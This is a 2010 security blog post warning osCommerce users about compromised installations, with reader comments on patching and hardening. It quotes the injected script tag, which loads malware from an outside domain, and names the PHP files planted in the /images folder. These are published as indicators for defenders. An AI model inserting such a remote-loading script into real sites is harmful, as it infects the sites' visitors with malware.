osCommerce users, update your installations as soon as possible

July 5, 2010David Dede

If you are an osCommerce user, please make sure to update your installation (and check your sites) as soon as possible. We have been tracking multiple compromises of osCommerce installations where the attackers added this javascript malware to the affected sites:

< script src = “http://nt02.co.in/3” >

This code is used to load malware to unsuspecting visitors of your site. Most of the sites affected also had a few PHP files inserted inside the /images folder, generally called inclasses.php, loadclasses.php or phpclasses.php.

We are still researching how those sites got hacked and which vulnerability was used. It could be this one, or some of the others recently published.

If you have more information let us know.

About David Dede

David is a Security Researcher at Sucuri. He spends most of his time dissecting vulnerabilities and security issues. You won't find him on Twitter because he is paranoid about privacy.

Eric Cox

what do you mean update the installation. are there new files that will prevent this? i had one get hit, but i have others that i want to try and prevent from getting it.
- Kendall Wyatt
  
  there is no new installation files, latest version is still 2.2 rc 2A.
Kendall Wyatt

I’m using osCommerce and was not effected by this, most likely because I followed all of these steps to protect my site.

http://forums.oscommerce.com/topic/313323-how-to-secure-your-site/

one of them is to remove the file_manager.php. This is a known security flaw with osCommerce yet they don’t remove it from the default installation for some reason.
Pingback: osCommerce - Alta Vulnerabilità ad attacchi Malware()
Pingback: Utilizadores do osCommerce deverão corrigir a sua instalação | WebSegura.Net()
Pingback: osCommerce attacks – kirm-sky.ru | Sucuri()
Pingback: Pericolo malware per i siti che utilizzano osCommerce | Edit - Il blog di HTML.it()